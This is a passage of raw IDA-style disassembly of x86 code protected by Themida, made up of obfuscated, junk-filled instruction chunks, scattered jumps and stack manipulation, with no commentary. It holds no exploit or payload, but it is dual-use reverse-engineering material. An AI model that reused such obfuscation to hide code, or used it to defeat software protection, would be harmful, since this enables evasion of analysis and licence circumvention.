mov ebx, [esp]
add esp, 4
add ebp, eax
mov eax, [esp]
add esp, 4
push edi
push esi
push ebp
mov ebp, 2BBB7847h
jmp loc_58C7D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5900D6: ; CODE XREF: sub_5916C4-4FAj
push 1ABF2115h
mov ecx, [esp+1Ah+var_1A]
jmp loc_59388D
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5900E3: ; CODE XREF: Themida_:00590D26j
mov esi, 37FC484Ch
sub eax, 7B464125h
add eax, esi
jmp loc_590A9C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_5900F4: ; CODE XREF: sub_5916CB-2149j
jmp loc_59674C
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_5900F9: ; CODE XREF: Themida_:0058A971j
not ebp
dec ebp
shl ebp, 4
dec ebp
sub ebp, 4DB494CFh
add eax, 55E6D72h
add eax, ebp
push edi
mov edi, 7D061BACh
jmp loc_595C71
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590118: ; CODE XREF: sub_5916C4+3012j
; Themida_:00595C83j
neg edi
shr edi, 1
add edi, 9F123D6Fh
sub eax, edi
pop edi
pop ebp
mov esi, [esp+12h+var_12]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+16h+var_16]
pop esp
push 2326h
mov [esp+16h+var_16], ecx
sub esp, 4
mov [esp+1Ah+var_1A], ebp
mov ebp, 570214FDh
push ebp
pop ecx
pop ebp
shr ecx, 2
push eax
mov eax, 4F821D40h
jmp loc_596FF5
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_590163: ; CODE XREF: sub_590467+586Fj
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_590168: ; CODE XREF: Themida_:005975BFj
dec ebp
and ebp, 0A781946h
dec ebp
xor ebp, 84D79D1h
add eax, ebp
pop ebp
mov edx, [esp]
add esp, 4
push 5C1Dh
mov [esp], ebx
jmp loc_58EAA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_59018F: ; CODE XREF: sub_58C17E+43DDj
add cl, 35h
sub dl, cl
pop ecx
mov eax, [esp+0]
add esp, 4
add bl, 0A7h
sub bl, 8Dh
sub bl, dl
add bl, 8Dh
sub bl, 0A7h
pop edx
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_5901B5: ; CODE XREF: Themida_:005932AFj
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push ecx
push 2
mov ecx, [esp]
add esp, 4
add edx, ecx
pop ecx
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
add [esp], al
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5901F7: ; CODE XREF: sub_5916C4-6EB8j
pop edx
add ebp, 6BD47F93h
jo loc_592503
xor ebp, 81576044h
and ecx, ebp
mov ebp, [esp-4+arg_0]
mov bl, cl
mov ecx, edx
loc_590213: ; CODE XREF: Themida_:005916F8j
mov eax, 24AD0CC5h
jmp loc_58FCC1
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59021D: ; CODE XREF: Themida_:00593833j
pop ebx
jmp loc_592E86
; ---------------------------------------------------------------------------
loc_590223: ; CODE XREF: Themida_:005945F3j
pop ebp
xor ebp, 6D9E42FEh
xor ebp, 0EF9624EFh
add edi, ebp
pop ebp
add eax, 7A0D0A50h
sub eax, 22082222h
sub eax, edi
push ebx
mov ebx, 53B32E5Dh
push edi
mov edi, 7074533Dh
or edi, 158415FAh
inc edi
add edi, 0FE3E2599h
sub ebx, edi
pop edi
shl ebx, 5
sub ebx, 0CE0DF65Eh
add eax, ebx
pop ebx
sub eax, 7A0D0A50h
pop edi
push edi
push eax
push 76925241h
pop eax
xor eax, 5DB93723h
mov edi, eax
pop eax
xchg edx, edi
dec edx
jmp loc_5918B1
; ---------------------------------------------------------------------------
loc_590285: ; CODE XREF: Themida_:00591AF2j
not edi
sub edi, 0E58CF291h
add ebp, edi
pop edi
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
mov esi, 2
add ebp, esi
jmp loc_58BCFF
; ---------------------------------------------------------------------------
loc_5902B2: ; CODE XREF: Themida_:00597AC9j
add eax, edx
push ebp
mov ebp, 47F83C3Ah
jmp loc_5975B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_5902BF: ; CODE XREF: sub_5919E2+3B8Bj
sub esi, edx
pop edx
jmp loc_58B4FB
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F091
loc_5902C7: ; CODE XREF: sub_58F091-3C04j
xor edi, ebp
jmp loc_58CC69
; END OF FUNCTION CHUNK FOR sub_58F091
; ---------------------------------------------------------------------------
loc_5902CE: ; CODE XREF: Themida_:005935CDj
jno loc_591323
dec cl
jns loc_58EBB5
sub cl, 31h
mov ah, cl
pop ecx
push ecx
loc_5902E3: ; CODE XREF: Themida_:005918F9j
push dword ptr [esp]
pop eax
push esi
mov esi, esp
push edx
mov edx, 351F6D44h
push edi
mov edi, 4AD30D6Ah
add edx, edi
pop edi
jmp loc_59177A
; ---------------------------------------------------------------------------
loc_5902FE: ; CODE XREF: Themida_:00595D9Dj
neg eax
jmp loc_592FD6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5948B7
loc_590305: ; CODE XREF: sub_5948B7-8A49j
mov ecx, [esp+4+var_4]
add esp, 4
sub ecx, 32441BE5h
not ecx
push ebx
mov ebx, 4510A3Fh
and ebx, 42D36925h
jmp loc_58CBB7
; END OF FUNCTION CHUNK FOR sub_5948B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_590327: ; CODE XREF: sub_590467-4AAAj
jnp loc_58C80B
sub ebp, 7E96BDFBh
mov edx, ebp
mov ebp, [esp-4+arg_0]
mov ebp, edi
mov ebx, edi
; END OF FUNCTION CHUNK FOR sub_590467
; START OF FUNCTION CHUNK FOR sub_5942E3
loc_59033C: ; CODE XREF: sub_5942E3-92C4j
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
pop esp
mov [esp+0], edi
mov edi, 4
add eax, edi
jmp loc_595F54
; END OF FUNCTION CHUNK FOR sub_5942E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590363: ; CODE XREF: sub_5916C4:loc_58B3F0j
or edx, 0E147ADBh
jmp loc_58FC93
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_59036E: ; CODE XREF: Themida_:0058ECB1j
jmp loc_58A6B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_590373: ; CODE XREF: sub_58B4D6+1DFFj
; sub_5919E2-3246j
add ebx, 1F325105h
mov edx, [esp+10h+var_10]
add esp, 4
sub esp, 4
mov [esp+10h+var_10], eax
mov eax, 4A6360B6h
sub eax, 93A2BD3h
push ebx
mov ebx, 6B0B1B08h
or eax, ebx
pop ebx
jmp loc_595CF3
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
loc_5903A0: ; CODE XREF: Themida_:loc_58DF01j
sub ebp, 986AA3FFh
jmp loc_58F10B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5903AB: ; CODE XREF: sub_59762D:loc_5923D6j
shr ebp, 4
jmp loc_58C654
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5903B3: ; CODE XREF: sub_58C17E+BCC2j
push eax
push esi
jmp loc_58D686
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_5903BA: ; CODE XREF: sub_5938B9-45DFj
pop esi
sub ebp, ecx
pop ecx
or edx, ebp
pop ebp
push ebx
jmp loc_58D894
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596EB8
loc_5903C7: ; CODE XREF: sub_596EB8+6j
add [esp+4], ebx
pop ebx
mov edi, [esp+0]
add esp, 4
push 0DD4h
mov [esp+0], eax
mov eax, 4
sub edi, 6943295Ah
sub edi, 56532E03h
add edi, eax
add edi, 56532E03h
push esi
mov esi, 523041A0h
add esi, 751C0DAEh
sub esi, 4EB46A4h
xor esi, 0AB2221F0h
add edi, esi
pop esi
mov eax, [esp+0]
add esp, 4
sub edi, 4
xchg edi, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], edx
push eax
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_596EB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_59042B: ; CODE XREF: sub_592D25-7B8j
sub ebp, 0F8F058Eh
jmp loc_590C5E
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_590436: ; CODE XREF: Themida_:0058E6A4j
mov [esp], edi
mov edi, 5BCE9F7Bh
sub esp, 4
jmp loc_58FDDA
; ---------------------------------------------------------------------------
loc_590449: ; CODE XREF: Themida_:005926CDj
movzx eax, al
push dword ptr [edi+eax*4]
push edi
mov edi, esp
push 0AA8h
mov [esp], ebx
jmp loc_59185B
; ---------------------------------------------------------------------------
loc_59045F: ; CODE XREF: Themida_:0058F493j
mov esi, esp
push edx
jmp loc_58D5BE
; =============== S U B R O U T I N E =======================================
sub_590467 proc near ; CODE XREF: sub_58F5B5-1A5Cj
var_A = dword ptr -0Ah
var_6 = dword ptr -6
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_E = dword ptr 12h
arg_12 = dword ptr 16h
; FUNCTION CHUNK AT 0058A3E0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058A70D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058A723 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058A76D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058A8E2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058AE9C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058B0AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058B128 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058B365 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058B3FA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058B4CE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058B75A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B9BA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BB9C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058BCA5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C03A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C233 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C397 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058C413 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C80B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058C950 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058CDB3 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058D164 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058D24D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D314 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D5EE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D7EF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058D852 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D883 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058DA3B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058DDCC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058DE71 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058E06E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E20E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E47C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058E77B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058EB56 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058EBAB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EDDF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F0C2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F219 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F2A6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F500 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F5D3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F9E1 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058FB59 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058FCB2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FE0E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590163 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00590327 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005907FE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00590B14 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00591453 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005914E9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591AAC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00591B02 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591BA0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00591CDB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00591EB5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591F65 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592085 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592107 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592127 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592247 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00592268 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592572 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00592777 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005927CD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592845 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00592BA1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592CAD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059357F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059373E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00593842 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 00593C42 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00593CE3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059405C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00594490 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005945A6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059493C SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059508A SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059519B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00595411 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059568E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005957BA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00595B5C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00595C9B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00595CCD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00595E62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00595F30 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005961A0 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00596425 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005964E5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059657E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059671A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00596A1D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596A6C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00596CAB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059703D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597299 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005975AC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059780B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059788D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00597974 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005979C9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597C92 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597DB2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00597FCA SIZE 0000002D BYTES
push ebx
mov ebx, 66E10D28h
shr ebx, 5
and ebx, 0F5A4147h
jmp loc_59568E
sub_590467 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_59047B: ; CODE XREF: sub_5938B9-851Aj
push 3A1Ch
mov [esp+0], ebp
push ecx
mov ecx, 1C53214Ah
push esi
jmp loc_590688
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_59048F: ; CODE XREF: Themida_:0058FBD2j
mov [esp], edi
jmp loc_58B838
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590497: ; CODE XREF: sub_5916C4-371Dj
pop ecx
add esp, 4
jmp loc_58C10C
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5904A3: ; CODE XREF: Themida_:00593618j
pop esp
jmp loc_59573A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5904A9: ; CODE XREF: sub_5EC2E8-5711Bj
ja loc_58BD46
jmp loc_59230E
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_5904B4: ; CODE XREF: Themida_:00592E62j
push 475Ah
mov [esp], ebp
push esp
pop ebp
push esi
mov esi, 216179A3h
jmp loc_59425B
; ---------------------------------------------------------------------------
loc_5904C9: ; CODE XREF: Themida_:005911DCj
push ecx
mov ch, 45h
jmp loc_596A13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5904D1: ; CODE XREF: sub_58F5B5+895j
; sub_5EC2E8-59957j ...
add ebx, 583D7BCEh
pop ebp
jmp loc_5934D1
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_58B205
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5904E6: ; CODE XREF: sub_590010+44E0j
push esi
mov esi, 3025687Ch
add [esp+0Ch+var_8], esi
pop esi
mov ecx, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], eax
mov eax, 31295A6Fh
dec eax
push edi
push esi
mov esi, 103F1F2h
jmp loc_58E728
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_590512: ; CODE XREF: sub_59762D-57Cj
mov dl, 0F1h
add dl, 0D7h
shr dl, 6
sub dl, 0BBh
jmp loc_58F720
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_590522: ; CODE XREF: sub_592D25-3721j
mov edx, esp
jmp loc_58C963
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_590529: ; CODE XREF: Themida_:00595D65j
push dword ptr [esp+4]
jmp loc_59551A
; ---------------------------------------------------------------------------
loc_590532: ; CODE XREF: Themida_:00590CFCj
pop ebx
jmp loc_58F180
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_590538: ; CODE XREF: sub_5938B9+19j
xchg ebx, [esp+0]
pop esp
mov [esp+4+var_6+2], ebx
push edi
jmp loc_596E43
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_590545: ; CODE XREF: sub_590010+BADj
; sub_5916C4+4A5Bj
jge loc_595ACF
jmp loc_597E7F
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
sub esi, eax
pop eax
jmp loc_58CADA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_590558: ; CODE XREF: sub_58C17E+4A59j
add cl, dh
pop edx
jmp loc_59018F
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DBC4
loc_590560: ; CODE XREF: sub_58DBC4+3C5Aj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
pop ebp
push edi
mov edi, 3A3E677Bh
sub ebp, edi
mov edi, [esp+0]
add esp, 4
sub esp, 4
mov [esp+0], ebp
jmp loc_58DAC8
; END OF FUNCTION CHUNK FOR sub_58DBC4
; ---------------------------------------------------------------------------
loc_590592: ; CODE XREF: Themida_:0058E3A1j
mov ebx, 74BC1C8Fh
sub ebx, 42D25813h
and ebx, 42DD1AB1h
not ebx
xor ebx, 475741EAh
xor edi, ebx
pop ebx
push edx
mov edx, 494C2256h
inc edx
dec edx
xor edx, 19817DA2h
shl edx, 4
dec edx
sub edx, 93A180FBh
and edi, edx
pop edx
and edi, 12DF7E2Bh
sub edi, 0FFFFFFFFh
shr edi, 1
xor edi, 21404h
add ebp, edi
pop edi
add ebp, 2
jmp loc_58DEA9
; ---------------------------------------------------------------------------
loc_5905E8: ; CODE XREF: Themida_:005920BEj
add esp, 4
sub esp, 4
mov [esp], eax
jmp loc_58AED3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_5905F9: ; CODE XREF: sub_5938B9-56D4j
mov edi, esp
jmp loc_592145
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_590600: ; CODE XREF: Themida_:loc_596579j
push edi
not dword ptr [esp]
jmp loc_591B7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_590609: ; CODE XREF: sub_595E21-5782j
add eax, edx
add [eax], ecx
pop eax
mov edx, [esp-4+arg_0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
pop esp
mov ecx, [esp-4+arg_0]
jmp loc_58E833
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_59062C: ; CODE XREF: Themida_:0059516Bj
jmp loc_595D97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590631: ; CODE XREF: Themida_:0058D989j
; sub_5916C4+2B7Dj
push [esp-0Ch+arg_8]
pop edx
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_592A28
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_590649: ; CODE XREF: sub_595E21-B7FDj
shr eax, 12h
jmp loc_592513
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590658: ; CODE XREF: sub_5916C4-6A3Ej
pop ebp
sub esi, edx
jmp loc_59641C
; ---------------------------------------------------------------------------
loc_590660: ; CODE XREF: sub_5916C4+4D2Aj
add ecx, esi
pop esi
sub ecx, 4
jmp loc_5953A1
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EF52
loc_59066E: ; CODE XREF: sub_58EF52+3j
; Themida_:00595BCCj
mov [esp+4+var_4], ecx
push esi
mov esi, 2AB80E6Dh
add esi, 0DD42F9C9h
jmp loc_58D36C
; END OF FUNCTION CHUNK FOR sub_58EF52
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_590682: ; CODE XREF: sub_5EC2E8-5D094j
push esi
jmp loc_58E6B9
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_590688: ; CODE XREF: sub_5938B9-342Fj
push 56925D8Bh
pop esi
and esi, 66DC29F1h
jmp loc_58F2D2
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_590699: ; CODE XREF: sub_595E21-A622j
push eax
mov eax, 0
jmp loc_590609
; ---------------------------------------------------------------------------
loc_5906A4: ; CODE XREF: sub_595E21-4ED7j
add esp, 4
add ecx, esi
pop esi
push 156Dh
jmp loc_59137A
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_5906B4: ; CODE XREF: sub_590B70+BB8j
; sub_5938B9-18F3j
push ecx
jmp loc_592270
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5906BA: ; CODE XREF: sub_58F5B5+3B98j
mov ecx, 4
add edx, 43F67A21h
jmp loc_5922F1
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_5906CA: ; CODE XREF: Themida_:005911A5j
mov edx, 67123BBh
jmp loc_596550
; ---------------------------------------------------------------------------
loc_5906D4: ; CODE XREF: Themida_:0058B627j
mov ebp, 621C5AC3h
add ebp, 6D87121Fh
not ebp
jmp loc_58ACD8
; ---------------------------------------------------------------------------
loc_5906E6: ; CODE XREF: Themida_:0059152Ej
sub edx, ecx
jmp loc_593FE3
; ---------------------------------------------------------------------------
loc_5906ED: ; CODE XREF: Themida_:0058C7D9j
mov edi, 0D44487BBh
add edi, esi
pop esi
add ebp, edi
pop edi
xchg ebp, [esp]
pop esp
jmp loc_58B804
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_590701: ; CODE XREF: sub_595123-6AD6j
pop esp
jmp loc_58E175
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_590707: ; CODE XREF: sub_5916C4-3E8j
xchg edx, edi
push esi
mov esi, 0CA579396h
sub edi, esi
pop esi
add ebx, 5F951F8Fh
sub ebx, edi
push esi
mov esi, 5CD9114Eh
and esi, 5F656B4h
or esi, 1BD3794Dh
jmp loc_58BB06
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_590731: ; CODE XREF: Themida_:005907BAj
push edi
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edi
jmp loc_5944F5
; ---------------------------------------------------------------------------
loc_590746: ; CODE XREF: Themida_:00596DB6j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_58EBA2
; ---------------------------------------------------------------------------
loc_590757: ; CODE XREF: Themida_:00590AF2j
push cx
jmp loc_592F38
; ---------------------------------------------------------------------------
loc_59075E: ; CODE XREF: Themida_:0058A914j
sub bh, 0FDh
add bh, 1
dec bh
sub bh, 81h
push ax
mov al, 34h
sub bh, al
jmp loc_58FE2C
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_595C0E
; ---------------------------------------------------------------------------
loc_59077D: ; CODE XREF: Themida_:00595C5Cj
add bl, al
add bl, 18h
push esi
push ebx
mov ebx, 59912C70h
push esi
jmp loc_58A392
; ---------------------------------------------------------------------------
loc_59078F: ; CODE XREF: Themida_:00597246j
push esi
mov esi, 42161691h
and esi, 4C635499h
jmp loc_5964CA
; ---------------------------------------------------------------------------
loc_5907A0: ; CODE XREF: Themida_:loc_593598j
sub ecx, 6051C63Ch
mov esi, ecx
pop ecx
sub [esp+4], esi
mov esi, [esp]
push esi
jmp loc_59698B
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_590731
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5907BF: ; CODE XREF: sub_58C17E+9249j
pop edi
sub edi, 1E55119Bh
jmp loc_58F59D
; ---------------------------------------------------------------------------
loc_5907CB: ; CODE XREF: sub_58C17E+3740j
pop esp
mov [esp-12h+arg_C+2], ebx
pop dword ptr [edi+24h]
pop ebx
inc ebx
push dword ptr [edi+24h]
sub esp, 4
